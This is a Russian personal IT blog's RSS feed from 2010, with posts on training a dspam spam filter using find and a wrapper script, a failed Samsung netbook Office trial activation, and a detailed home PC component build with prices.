<script type="text/javascript">
        function set_cookie(imya,val){document.cookie = imya+"="+val};set_cookie('imu109', '2');
    </script><body><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Профи-блог IT-мутанта</title>
	<atom:link href="" rel="self" type="application/rss+xml" />
	<link></link>
	<description>Эволюционируем вместе</description>
	<lastBuildDate>Wed, 07 Jul 2010 12:46:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Обучение спам-фильтра и утилита find</title>
		<link>/mail-system/obuchenie-spam-filtra-i-utilita-find/</link>
		<comments>/mail-system/obuchenie-spam-filtra-i-utilita-find/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 12:07:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mail system]]></category>
		<category><![CDATA[dspam]]></category>
		<category><![CDATA[find]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[No such file or directory]]></category>

		<guid isPermaLink="false">/?p=138</guid>
		<description><![CDATA[Второй день сижу и пытаюсь понять почему это не работает. Разворачиваю понятие &#8220;это&#8221; &#8211; скрипт который очень активно скармливает нехорошие письма нашему спам-фильтру.  Надо обучить на немного не мало порядка 5К  письмах. А потом ещё 2.5К хороших, так сказать, для закрепления пройденного материала.
Пробуем отдельно командную строку:
mail02# cat /home/dronga/test/1274282843.M942069P44358.mail01.hat.ru,S=2504,W=2562:2,&#124;/usr/local/bin/dspam &#8211;mode=teft &#8211;user odmin@hat.ru &#8211;class=spam &#8211;source=corpus &#8211;deliver=summary
X-DSPAM-Result: odmin@hat.ru; [...]]]></description>
			<content:encoded><![CDATA[<p>Второй день сижу и пытаюсь понять почему это не работает. Разворачиваю понятие &#8220;это&#8221; &#8211; скрипт который очень активно скармливает нехорошие письма нашему спам-фильтру.  Надо обучить на немного не мало порядка 5К  письмах. А потом ещё 2.5К хороших, так сказать, для закрепления пройденного материала.</p>
<p>Пробуем отдельно командную строку:</p>
<blockquote><p>mail02# cat /home/dronga/test/1274282843.M942069P44358.mail01.hat.ru,S=2504,W=2562:2,|/usr/local/bin/dspam &#8211;mode=teft &#8211;user odmin@hat.ru &#8211;class=spam &#8211;source=corpus &#8211;deliver=summary<br />
X-DSPAM-Result: odmin@hat.ru; result=&#8221;Spam&#8221;;; probability=1.0000; confidence=1.00; signature=4bf4035b443567520620249</p></blockquote>
<p>Отлично! Оборачиваем это дело в find примерно вот таким образом:</p>
<blockquote><p>find . -type f -print &#8211; exec cat {}|/usr/local/bin/dspam &#8211;mode=teft &#8211;user odmin@hate.ru &#8211;class=spam &#8211;source=corpus &#8211;deliver=summary</p></blockquote>
<p>Пробуем:</p>
<blockquote><p>mail02# ./spam_learn.sh<br />
/home/dronga/test/1274282843.M942069P44358.mail01.hat.ru,S=2504,W=2562:2,<br />
find: cat /home/dronga/test/1274282843.M942069P44358.mail01.hat.ru,S=2504,W=2562:2,|/usr/local/bin/dspam &#8211;mode=teft &#8211;user odmin@hat.ru &#8211;class=spam &#8211;source=corpus &#8211;deliver=summary: No such file or directory<br />
/home/dronga/test/1274288609.M452672P55446.mail01.hat.ru,S=1434,W=1476:2,<br />
find: cat /home/dronga/test/1274288609.M452672P55446.mail01.hat.ru,S=1434,W=1476:2,|/usr/local/bin/dspam &#8211;mode=teft &#8211;user odmin@hat.ru &#8211;class=spam &#8211;source=corpus &#8211;deliver=summary: No such file or directory<br />
/home/dronga/test/1274294629.M623575P66746.mail01.hat.ru,S=2356,W=2414:2,<br />
find: cat /home/dronga/test/1274294629.M623575P66746.mail01.hat.ru,S=2356,W=2414:2,|/usr/local/bin/dspam &#8211;mode=teft &#8211;user odmin@hat.ru &#8211;class=spam &#8211;source=corpus &#8211;deliver=summary: No such file or directory<br />
/home/dronga/test/1274301779.M6738P79179.mail01.hat.ru,S=9142,W=9327:2,<br />
find: cat /home/dronga/test/1274301779.M6738P79179.mail01.hat.ru,S=9142,W=9327:2,|/usr/local/bin/dspam &#8211;mode=teft &#8211;user odmin@hat.ru &#8211;class=spam &#8211;source=corpus &#8211;deliver=summary: No such file or directory
</p></blockquote>
<p>И как это понимать?? Очевидно, что find отрабатывает, print есть, а вот по каким канонам разворачивается или не разворачивается exec  непонятно. <span id="more-138"></span>Попробуем модифицировать:</p>
<blockquote><p>/usr/local/bin/dspam &#8211;mode=teft &#8211;user odmin@hate.ru &#8211;class=spam &#8211;source=corpus &#8211;deliver=summary &lt; {} \;</p></blockquote>
<p>Тоже не работает. Аналогично и другие составные вариации. Между делом man find стал раздражать достаточно туманным пояснением работы опции exec в 2 вариантах (у меня FreeBSD 8). На тематичных форумах тоже решения не нашли, вроде как в самом find косяк. И exec_dir крутил и пути 100 раз проверил, с NFS тома выносил, кавычки, плюсики.. всё бесполезно, не работает. В общем, плюнул я на такое положение дел и сегодня на свежую голову пошел по &#8220;каноническому&#8221; пути.</p>
<blockquote><p>-exec utility [argument ...] ;</p></blockquote>
<p>Быстренько накидал sh-скрипт:</p>
<blockquote><p>#!/bin/sh</p>
<p>/usr/local/bin/dspam &#8211;mode=teft &#8211;user odmin@hat.ru &#8211;class=$1 &#8211;source=corpus &#8211;deliver=summary < $2 ;
</p></blockquote>
<p>Следовательно, скрипт spam_learn.sh принял вид:</p>
<blockquote><p>find /home/dronga/SPAM -type f -print -exec /home/dronga/learn.sh spam {} \;</p></blockquote>
<p>Вот так заработало. Сейчас время буду засекать, имхо, секунд 30 займет. Но очень обидно, что не разворачиваются |, >, <. Вчерашний световой день вникуда, а сегодня за 10 минут вопрос решился. Бывают в жизни огорчения. Больше не наступайте на эти грабли! А штука получилась полезная, можно в короткие сроки обучить антиспам!</p>
]]></content:encoded>
			<wfw:commentRss>/mail-system/obuchenie-spam-filtra-i-utilita-find/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Samsung и Microsoft против пользователей??</title>
		<link>/life-rc/samsung-i-microsoft-protiv-polzovatelej/</link>
		<comments>/life-rc/samsung-i-microsoft-protiv-polzovatelej/#comments</comments>
		<pubDate>Mon, 12 Apr 2010 10:30:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life.rc]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[облом]]></category>
		<category><![CDATA[риторический вопрос]]></category>

		<guid isPermaLink="false">/?p=131</guid>
		<description><![CDATA[Именно такой вопрос складывается в моей голове. Причем не просто пользователей, а абсолютно легитимных пользователей. Это продолжение предыдущего поста.
В кратце: куплен нетбук Samsung N140 с предустановленной пробной версией Microsoft Office Home &#38; Student на 1 год. Последнюю не удается активировать (нет ключа активации продукта). Имеющийся на рабочем столе ярлык &#8220;Предоплаченная версия Microsoft Office на 1 [...]]]></description>
			<content:encoded><![CDATA[<p>Именно такой вопрос складывается в моей голове. Причем не просто пользователей, а абсолютно легитимных пользователей. Это продолжение предыдущего поста.</p>
<p>В кратце: куплен нетбук Samsung N140 с предустановленной пробной версией Microsoft Office Home &amp; Student на 1 год. Последнюю не удается активировать (нет ключа активации продукта). Имеющийся на рабочем столе ярлык &#8220;Предоплаченная версия Microsoft Office на 1 год – Онлайн&#8221; ведет или к покупке полной версии продукта за 89$, либо к скачке пробной 60-дневной версии (ещё и с предварительной регистрацией).</p>
<p><span id="more-131"></span></p>
<p>Вчера удалось дозвониться только в Samsung, где мне кивнули на Microsoft, сегодня я дозвонился в Microsoft, где мне сказали, что вся эта акция была инициирована компанией Samsung. В итоге нынешний статус этой акции неизвестен никому. Но специалисты Microsoft заверили, что обязательно разберутся в сложившейся ситуации и свяжутся со мной по электронной почте. Сроки не условлены.</p>
<p>А между делом, офис стал открывать файлы только на чтение и создать новый документ уже невозможно. Теперь я могу честно качать кряк?</p>
]]></content:encoded>
			<wfw:commentRss>/life-rc/samsung-i-microsoft-protiv-polzovatelej/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Нетбуки Samsung и предоплаченный MS Office 2007 на один год</title>
		<link>/life-rc/netbuki-samsung-i-predoplachennyj-ms-office-2007-na-odin-god/</link>
		<comments>/life-rc/netbuki-samsung-i-predoplachennyj-ms-office-2007-na-odin-god/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 18:14:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life.rc]]></category>
		<category><![CDATA[ms]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[нетбук]]></category>
		<category><![CDATA[офис]]></category>

		<guid isPermaLink="false">/?p=129</guid>
		<description><![CDATA[Я уже писал раннее, что подарил своей девушке нетбук на 8 марта. Астрахань, к сожалению, не Москва и даже не Питер, поэтому брал не по качеству, не по деньгам, а что называется, по наличию. Даже по заказу за 2 недели до 8 марта никто ничего приемлемого предложить не смог, вот такой у нас город. В [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Я уже писал раннее, что подарил своей девушке нетбук на 8 марта. Астрахань, к сожалению, не Москва и даже не Питер, поэтому брал не по качеству, не по деньгам, а что называется, по наличию. Даже по заказу за 2 недели до 8 марта никто ничего приемлемого предложить не смог, вот такой у нас город. В итоге, надо сказать, повезло. Девушка стала счастливой обладательницей Samsung N140-KA06. Я в курсе про KA01/KA02 и КА03/04, и про КА05/06 тоже, но в наличии был только этот, да ладно, оставим 3% производительности на совести поставщиков и менеджеров.<br />
Я был очень приятно удивлён производительностью и общим качеством сборки, с этим нетбуком реально приятно работать. Операционная система предустановленна, наклейка с ключом активации прилеплена снизу.<br />
На рабочем столе обнаружился ярлык Предоплаченная версия Microsoft Office 2007 (1 год). Это тоже в числе приятных сюрпризов. На всякий случай сверился с документацией на сайте. Действительно, в списке предустановленного ПО присутствует Microsoft Office Home &amp; Student(пробная версия 1год).<span id="more-129"></span>После запуска выше обозначенного ярлыка мне предложили либо купить его, либо попробовать trial версию. Если щелкать по Purchase, то соответственно, перебрасывает на сайт Microsoft для покупки. Если щелкать Try it, то перекидывает тоже на Microsoft, но на страницу для скачки. И только потом к скачанному предлагают триал. Непонятно. Какое-то время офис запускался без ввода ключа активации, но количество таких запусков становилось всё меньше и меньше.<br />
Сперва последовал поиск по инету – не принесший результата. Да, раньше регистрировалось – потом перестало. Затем я позвонил в Samsung. Там мне объяснили, что Microsoft в одностороннем порядке изменили срок действия пробной версии, сократив его до 60 дней. На мой вопрос о необходимости повторной скачки меня попросили позвонить в Microsoft, которые доступны лишь в рабочие дни и в рабочее время. Полез к ним на сайт, там вообще красуется надпись: The Microsoft® Office 2007 trial is not currently available. И немного ниже: You can download the Microsoft® Office 2010 Beta for free!  Office 2010 offers rich and powerful ways to deliver your best work at office, home, or school.<br />
Короче, если вы тратите своё время на «предоплаченную» версию офиса от Samsung – смело забейте, видимо халява кончилась. Можно попробовать ещё ключики в инете поискать, но сдаётся мне, бесполезно.</p>
<p style="text-align: justify;">PS. А <a title="Как я звонил в Microsoft" href="../life-rc/samsung-i-microsoft-protiv-polzovatelej/index.html" target="_self">в Microsoft Россия я всё-таки позвоню в понедельник</a> и задам им аналогичный вопрос.</p>
]]></content:encoded>
			<wfw:commentRss>/life-rc/netbuki-samsung-i-predoplachennyj-ms-office-2007-na-odin-god/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Какой компьтер я купил бы сегодня для дома?</title>
		<link>/life-rc/kakoj-kompter-ya-kupil-by-segodnya-dlya-doma/</link>
		<comments>/life-rc/kakoj-kompter-ya-kupil-by-segodnya-dlya-doma/#comments</comments>
		<pubDate>Thu, 01 Apr 2010 19:28:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Life.rc]]></category>
		<category><![CDATA[upgrade]]></category>
		<category><![CDATA[лайф-хак]]></category>
		<category><![CDATA[лайфхак]]></category>

		<guid isPermaLink="false">/?p=122</guid>
		<description><![CDATA[Не важно, по какой причине вы читаете этот материал &#8211; я пишу его для себя. Просто чтобы расставить всё по полочкам, а то много информации в голове крутится. Может кому-то поможет. Но надеюсь, что кто-то, прочитав этот пост, даст совет по делу &#8211; я ведь не истина в последней инстанции и тоже могу заблуждаться.
Как обычно, [...]]]></description>
			<content:encoded><![CDATA[<p>Не важно, по какой причине вы читаете этот материал &#8211; я пишу его для себя. Просто чтобы расставить всё по полочкам, а то много информации в голове крутится. Может кому-то поможет. Но надеюсь, что кто-то, прочитав этот пост, даст совет по делу &#8211; я ведь не истина в последней инстанции и тоже могу заблуждаться.</p>
<p>Как обычно, для начала определяемся с кругом задач.<strong> Это будет мой домашний компьютер</strong>, стационарный, постоянной дислокации. Какие задачи решаются на моем домашнем компьютере?</p>
<p><strong>1. Интернет-направление.</strong> Интернет-серфинг: поиск информации, одноклассники, почта, вконтакте, блоггинг, и всего этого много. Удаленное администрирование. Обязательно скачка/раздача торрентов, иногда в режиме 24&#215;7. Обязательно аська, IRC. Обычно всё это занимает ~500MB оперативной памяти и весь свободный интернет-канал.<br />
<strong>2. Музыка.</strong> Без особых претензий к качеству звука, просто прослушивание. Музыка с торрентами занимают порядка 80% моего жесткого диска, и я достаточно тесно ощущаю себя на 150GB.<br />
<strong>3. Программирование, в простонародье кодинг.</strong> Как веб-ориентированный, так и системно-прикладной. Быстрая работа LAMPP, шустрая компиляция. Технологии PHP/MySQL/Java/C#/Mono/Python, и здесь же задачи по дебагу. Специфичные задачи, возможно участие в распределенных математических вычислениях. Перебор различных комбинаций входных символов с последующим преобразованием по определенному алгоритму и сравнение с эталонным значением. Просто всё должно работать очень быстро, даже если алгоритм кривой. Всё-таки время дороже любой железки =)<br />
<strong>4. Видео, просто просмотр.</strong> Возможность вывода на панель. Очень редко редактирование в незначительных масштабах для домашних нужд.<br />
<strong>5. Игры.</strong> Всё-таки хочется увидеть любимые игры в новом свете, испытать новые ощущения; увидеть, то чего не увидишь со старой видеокартой (наконец-то блики и тени, настоящая вода, живые листья, реалистичная мимика…  то в чем надоело себе отказывать). Поиграть в новые игры, которые захватывают миллионы людей по всему миру и при этом опять-таки не чувствовать себя ущемленным в fps. Приставки на сегодняшний день не устраивают по целому ряду показателей: цены на игры, привычка играть с мышкой, отсутствие возможности &#8220;наращивания мощностей&#8221;, отсутствие поддержки передовых технологий 3D изображения. Интегрированное решение, скорее всего, отпадает.<br />
<strong>6. Офисные задачи</strong> на передовых офисных пакетах &#8211; объёмы предполагаются большие и это должно работать очень шустро.<br />
<strong>7. Виртуализация. </strong>Спокойная работа при 1-2-3 образах в виртуальной машине запущенных параллельно. Моделирование систем/серверов для экспериментов.</p>
<p><em>Дополнительные условия.</em><br />
1. Задачи естественно запускаются не монопольно. Надо всё и сразу.<br />
2. Этого компьютера должно хватить лет на 5-6.<br />
3. Возможность апгрейда/разгона. Всё-таки прирост даже в 500МГц всегда будет ощутим. А если есть возможность поставить новый процессор или добавить вторую видеокарту – это вообще здорово.<br />
4. Цена. Она не фиксирована, но должна быть обоснованной. И не забываем, что это всё за счет семейного бюджета, а не олимпийского. А значит, установим для себя планку в 30 000 честно заработанных рублей.<br />
<span id="more-122"></span><br />
Предыдущий компьютер куплен в 2002 году, тогда мой отец немного продешевил, не взяв младший Intel Pentium 4, очень не хочется повторить его ошибку. Конфигурация у него такая: материнская плата Gigabyte  GA-6OXT-A rev 1.0 (socket 370),  процессор &#8211; Intel Celeron 1100МГц; 384MB RAM (не помню уже чего там за планки, ибо все из разных источников, одна даже с ECC); видеокарта NVIDIA GeForce 4 MX400 64MB, интегрированный звук. Даже на тот момент это был уже без пяти минут вчерашний день.<br />
<span id="8425f524a4aa8639682caa23a052ec5e"></span><br />
Маленькое отступление. По умолчанию на материнской плате Gigabyte  GA-6OXT-A rev 1.0 идёт BIOS F5 и в документации написано, что поддерживается до 512 MB оперативной памяти. Однако все мои попытки добиться этого на практике заканчивались отображением 384 MB в диспетчере задач и в BIOS. Обновление BIOS до F8 спасло ситуацию. Использовал фирменную утилиту @BIOS от Gigabyte, скачанную из раздела Utility официального сайта. Так что теперь можно написать, что у меня 512 MB.</p>
<p>В общем-то, большую часть поставленных задач худо-бедно тянет, но медленно =( Параллельно музыку ещё можно послушать, но на том и всё =) Памяти больше 512 поставить нельзя, процессор 1400 можно поставить, но кардинально это ничего не меняет, да и в продаже его нет. USB 1.1 уже давно не радует, особенно когда файл DVD на флешку скидываешь, быстрее на диск записать выходит. Всё в пропускную способность шин упирается. В общем, этот компьютер подойдет маме в роли печатной машинки.</p>
<p>Сердцем любого компьютера, конечно, является процессор. Примем за аксиому то, что двухъядерный процессор уже не актуально, очень показателен в этом плане Intel Atom N270, тактовая частота которого 1.6ГГц. Да одно ядро, но два потока. Производительность нетбука, подаренного девушке по случаю 8 марта, очень приятно удивила, но то нетбук. Это другая категория устройств, другие задачи, другой пользователь, но общая тенденция к многопоточности приложений очевидна.</p>
<p>Трехъядерный тоже как-то уже не сильно впечатляет, потому, как сейчас рынок заполнен четырехъядерными Intel Core2Quad, а на горизонте уже светит новая линейка процессоров Intel Core i. На самом деле светит она уже год. Кстати, самое время вспомнить, что все квады используют разъём LGA775, в то время как флагманские процессоры используют LGA1366. А ещё есть сокет LGA 1156, который используется младшими процессорами линейки Core i3,i5,i7.. Мне видится, что их тоже логичнее оставить за бортом, потому как, купив сегодня такую мамку, мы рискуем поставить крест на глобальном апгрейде завтра, но тут я не уверен. На сейчас разъёмы LGA1156 и LGA1366 вполне конкуренты, но уже есть информация, что сокет LGA 1156 должен прожить до конца 2011 года, когда LGA 1155 (планируется к выходу в первой половине 2011) начнёт его вытеснять. То есть купив сегодня мощный Intel Core i7, я могу им наслаждаться пару лет и даже не заметить, как из продажи исчезли процессоры в этом исполнении. Не факт что даже будет смысл обновляться за отсутствием реального прироста производительности на новом камне. Ещё ходят слухи о разъёме LGA 1567 предназначенном для серверных материнских плат. В свете данной информации платформа LGA 1366 мне видится самой «долгоиграющей пластинкой» для настольных персональных компьютеров. На ней и остановимся.</p>
<p>Именно год назад, просматривая тестирование топового процессора Core i7 965 Extreme Edition, я подумал: «Он будет моим, через годик он будет доступнее». Тогда цена на него была естественно заоблачной, а сейчас он стоит всего-навсего порядка 31 000 рублей. Соответственно, системные блоки на его базе вылетает в совсем круглые суммы порядка 90 000 рублей. О как. За год для меня мало что изменилось. Уточню, что речь идет о процессоре с 4 ядрами, 3.2 ГГц каждое и по два потока на каждое (уже знакомый Hyper Threading). То есть 4 реальных ядра * 2 потока = 8 виртуальных процессоров, но заоблачная цена ставит на нем крест. Да и уже объявлено о выходе 6-ядерного Core i7-980X, который теперь точно будет топовым, так что за топовостью гнаться уже смысла нет. Но полезно глянуть на его характеристики:<br />
<a href="../wp-content/uploads/2010/03/intel_big.jpg"><img class="alignleft size-full wp-image-123" title="intel_i7-980x" src="../wp-content/uploads/2010/03/intel_big.jpg" alt="Intel i7-980x processor image" width="440" height="280" /></a>Вот на эту перспективу есть смысл ориентироваться. Кстати, пока мы тут писали/читали, процессор уже вышел и конечно оказался самым мощным процессором, с соотвествующей ценой. Предзаказ обходится 1200$, значит в наших магазин будет очень близко к 2000$.</p>
<p>Поэтому спускаемся вниз по линейке, натыкаемся на процессор Core i7 920. Говорят, что можно  умножить результаты Core i7 920 в тестах на 1,2 и получить примерное быстродействие Core i7 EE 965. Уже реальнее, удовольствие всего в 10 000 руб. Это самый дешевый процессор для LGA1366.</p>
<p>Пробуем найти для него материнскую плату. Первичный фильтр: Socket LGA1366, TDP 130+, Intel x58 Express Chipset. Поехали дальше, шины данных. На рынке уже доступны материнские платы с интерфейсом USB 3.0, также нам пригодится SATA/eSATA 3. Видео нам важно, ориентируемся на обязательное наличие 2 слотов PCI Express x16 и поддержку фирменных технологий ATI/NVIDIA (я про SLI и CrossFire). Оперативная память. Все процессоры под разъём LGA1366 имеют трёхканальный контроллер памяти. Интегрированное видео нас не интересует вообще, нужна нормальная видеокарта. Если прям уж сильно бюджет будет поджимать, то будем выбирать по остаточному принципу.</p>
<p>Из производителей материнских плат по своему опыту могу посоветовать бренды Gigabyte, ASUS, MSI, AsRock (некоторые поклонники обязательно изменили бы порядок упоминания брендов, но я расставил именно так). Здесь экономить не стоит, надо брать, что называется,  от души. Мне по вкусу пришлась Gigabyte GA-X58A-UD7 (я уже читал гневные отзывы на не эргономичное расположение слотов, при котором установка видеокарты или дополнительной системы охлаждения может блокировать PCI-E x1.0, но мне не критично). Оценивается в 11000 рублей.</p>
<p>Оперативную память выбираем из списка поддерживаемых модулей. Но тут интересная штука с объёмом. Для достижения оптимального быстродействия число модулей памяти в LGA1156 системе должно быть кратно двум (двухканальный контроллер), в однопроцессорной LGA1366 системе – трём. Поддерживаются планки с номиналами 512MB, 1GB, 2GB, 4GB. Каждый вариант надо умножить на три и выбрать для себя нужный. 512MBx3 &#8211; уже не актуально, 1GBx3 &#8211; пограничное значение, 2GBx3 – уже более чем. 3GB RAM действительно пограничная цифра, по идее, можно продолжать использовать 32-битные операционные системы, в которых давно нет проблем совместимости ПО. А если 6GB – то уже обязательно 64-битную версию и последующие периодические проблемы совместимости ПО. С другой стороны, всеохватывающий переход на 64-bit OS неизбежен. Пожалуй, точку в этом выборе должна поставить экономическая составляющая. И сразу нужно учесть, что пока дешевеет шестиядерник, будем использовать четырехядерный Intel Core i7 920, контроллер которого поддерживает память DDR3-1066 (максимальная штатная частота для Core i7 920).<br />
Вариант 3GB = Kingston KHX1333C7D3K3/3GX (3 модуля по 1GB) = 4 000 рублей.<br />
Вариант 6GB = Kingston KHX1600C9D3K3/6GX (3 модуля по 2GB) = 6 000 рублей.<br />
Я предпочту второй вариант. Отмечу, что выбранная материнская палата поддерживает до 24GB RAM и имеет 6 слотов (сгруппированы в три группы по два слота), так что запас очень приличный. </p>
<p>Видеокарта. Из последних игр очень восприимчивых к железу выделяется игра Metro 2033. И тут нужна карточка уровня Radeon HD 5850. Самые лучшие показатели на чипе Radeon HD 5870. Я думаю это ориентир. Архитектура Fermi (NVIDIA GF100) уже не за горами (вроде вот-вот и всё никак), что однозначно даст новый толчок гонкам GPU и обвал цен на предыдущие модели &#8211; именно в это время целесообразно купить вторую карточку high-end сегмента. С другой стороны, игра вызвала очень много шума, однозначно потеснив Crysis в плане требовательности к ресурсам видеосистемы, поэтому через годик другой прецедент должен повториться и надеюсь, там  сегодняшний лидер Radeon HD 5870 будет в десятке. Если судить по этой игре, то карточки NVIDIA просто ушли в слив и никак не могут являться кандидатом на покупку. Если GF100 таки совершит переворот, то потенциал нашей материнской платы позволит его использовать. У NVIDIA меня очень интересует технология 3D Vision. И я бы, пожалуй, подождал с покупкой, но нашел статьи, в которых говорится о вредности этой технологии для глаз, поэтому оставил эти карты за бортом. А вообще, раньше я предпочитал продукты NVIDIA за очень качественную поддержку: чего стоят драйвера для Linux. Очень жаль, что предпочтение нельзя преобразовать в конечные fps, так что, как говорится, ничего личного, только строго прагматичный подход. Добивающим аргументом является технология CrossFire, которая на два шага впереди технологии SLI от Nvidia, так как позволяет объединить разнородные карты одного семейства в одну связку. Поэтому я выбираю Sapphire Radeon HD 5870 (я учитываю, что буду смотреть видео высокой четкости на телевизоре через компьютер и плюс параллельно работать за этим же компьютером). Выйдет немного не мало 15 000.<br />
И снова, пока мы писали, первая видеокарта на базе Fermi уже вышла &#8211; NVIDIA GTX 480. В первых тестах она всё-таки незначительно превосходит избранного радика, но тот потребляет на порядок меньше во всех режимах, и холоднее намного, следовательно тише. Там где радик не лидер, он приемлимо отстаёт. А вот когда наоборот &#8211; там разрыв существенне, особенно заметно на тесте в игре STALKER: Зов Припяти. Ествественно, она будет дороже. В свете выхода карт на архитектуре Fermi опущу планку для HD5870 до 13 000 рублей.</p>
<p>Жесткий диск. Мне нужно от 750GB доступного пространства. Пожалуй, это самый непростой выбор ввиду большого разброса требований пользователя, начиная от шума, заканчивая сроками эксплуатации. И всё-таки очень много третьих факторов влияют на работу HDD (блок питания, разгон по шине, температура внутри системного блока, внешние вибрации и т.д.). Обращаем внимание на нашу материнскую плату Gigabyte GA-X58A-UD7, которая поддерживает SATA 6Gb &#8211; RAID 0 (очень интересный вариант, читал о 15% прироста производительности), SATA 3Gb &#8211; RAID 0, 1, 5, 10. Но это, скорее всего, на будущее. Пока что свои предпочтения по выбору жесткого диска я раскину следующим образом: Western Digital, Samsung, Hitachi, Seagate (опять-таки, именно в этой приоритетной последовательности). Компания Western Digital всегда составляла конкуренцию Seagate, но последние годы Seagate по-крупному сдала позиции. Сужу по числу инцидентов преждевременного отказа у знакомых и официальном браке 11 серии, но опыт, как говорится, не пропьешь, поэтому пока ещё рекомендую. Мне показался очень симпатичным вариант Western Digital Caviar Black WD1002FAEX &#8211; это жесткий диск на 1 ТБ с интерфейсом SATA-3. Коли уж поддерживается, надо использовать, главная разница в пропускной способности 6 Гбит/с против 300 Мбит/с у SATA-2, жаль, что всё уже давно уперлось в скорость чтения непосредственно головками с блинов. Сейчас это средненький жесткий диск по скоростным показателям, также оставим запас на будущее. Главное, что на все винчестеры серии Caviar Black распространяется 5-летняя гарантия (нужно на сайте по S/N зарегистрировать накопитель), а заявленное время наработки на отказ составляет 1,2 миллиона часов (137 лет). Удовольствие обойдется в 3500 рублей.</p>
<p>Теперь нам ещё жизненно необходим блок питания и корпус. Для расчета примерной мощности блока питания я использую online-калькуляторы. Просмотрев несколько вариантов и покрутив конфигурацию на перспективу, я получил значения в диапазоне 600-900W, выходит целесообразным взять блок питания на 1000W. Приглянулся Floston Energetix E2FP-1000W – 7000 рублей.</p>
<p>В голове потихоньку начинается крутиться вопрос об итоговой стоимости. Получилась следующая сумма:<br />
Материнская плата 11000 + CPU 10000 + RAM 6000 + GPU 13000 + Power Supply 7000 = 47 000 + корпус. Допустим погрешность в 2 000 рублей и корпус в подарок = 45 000. Даже если выиграть в лотерею 10000 сверху и равномерно раскидать по комплектующим, я всё равно не хочу чтобы мои зубы на полке пылились. То есть нереально много, сегодня я такой компьютер не куплю однозначно.</p>
<p>Надо на чем-то экономить. На слуху разговоры о безнадобности шести ядер в актуальных приложениях, что и 4 не полностью востребованы, а для игр так двух хватает. Ярким примером является уже упомянутая игра Metro 2033 – на определенном этапе развития проекта утверждалось, что будут необходимы топовые процессоры Core i7, на самом деле комфортно играется и на двухъядерных процессорах Core2Duo. А реально игра упирается в видеосистему. Поэтому немного перераспределим бюджет, пока что откажемся от Intel и начнем наш выбор с самого начала, то есть с процессора. И на этот раз обратим внимание на линейку AMD.</p>
<p>Процессор однозначно нужен в исполнении AM3, потому как уже понятно, что AM2 будет отходить. Да, есть информация о том, что новые шестиядерные процессоры AMD будут поддерживаться некоторыми материнскими платам с разъемом AM2+, но с некоторыми ограничениями по взаимодействию с оперативной памятью, в частности нет поддержки DDR3. Так что это скорее очень приятное для обладателей таких материнских плат исключение из правил.</p>
<p>Поэтому, руководствуясь выше изложенным, я остановился на плате GigaByte GA-790FXTA-UD5 (rev. 1.0) за 6 000 руб. Конечно, сравнивать не совсем уместно, но всё же… первая материнская плата запомнилась индикатором POST-кодов. Не знаю, насколько это было бы полезным, но приятно. На этой плате такого индикатора нет, зато есть удобные кнопки включения/перезагрузки/обнуления CMOS, расположенные на плате. Та материнская плата практически полностью игнорировала старые интерфейсы типа IDE. Здесь он присутствует, так же как и COM, LPT, FDD, что согласитесь приятно, ведь я не теряю возможности обмена информацией, а что важнее – не переплачиваю за эту возможность. А вот максимальный размер оперативной памяти здесь всего 16GB.. хотя на предполагаемые 5-6 лет должно хватить.</p>
<p>Итак, процессор. Про флагманские варианты я уже и думать забыл, но помню о возможности апгрейда. Посмотрев несколько тестов, отметил процессор AMD Phenom II X4 965, который легко составляет конкуренцию процессору Intel Core i7 920. Где-то проигрывает, а где-то значительно выигрывает, например в играх. Обойдется нам такой камушек в 6 500 (берем OEM). Сразу присматриваем куллер  &#8211; Scythe Mugen 2 SCMG-2100 (1500р). Смотрим поддерживаемые модули памяти. Здесь нас уже интересует двухканальная память, поэтому цифра в 4 GB выглядит естественной. Тут мой выбор &#8211; 2&#215;2048Mb OCZ3P1333LV4GK (4500р). Остальное без изменений. Получаем.<br />
Материнская плата 6000 + CPU &#038; Cooler 8000 + RAM 4500 + GPU 13000 + Power Supply 7000 = 38 500 + корпус. Всё равно дороговато, но ближе к истине. Бежим вниз по линейке процессоров, останавливаемся на AMD Phenom II X4 Deneb 925 – 4500.. Надо уточнить цены и ещё немного урезать конфигурацию: выкину кулер, сменю блок питания, пересмотрю жесткий.</p>
<p>Видеокарта (Sapphire Radeon HD 5870)				13000<br />
Материнская плата (GA-790FXTA-UD5 rev 1.0) 			  6000<br />
Процессор BOX (AMD Phenom II X4 925)		  	  4500<br />
Оперативная память 4GB (OCZ3P1333LV4GK)                           4500<br />
Жесткий диск 500 ГБ (Samsung HD502HJ)	 	  	  1500<br />
Блок питания 750W (Corsair CMPSU-750TX 750W)		  4000</p>
<p>Итого получается уже  33 500 + корпус. Вот это уже приемлемее. Пересчитаем для платформы Intel, собственно, это будет другая комбинация мать/проц/память = 11 000 + 10 000 + 6 000 + 18 500 = 45 500 + корпус.</p>
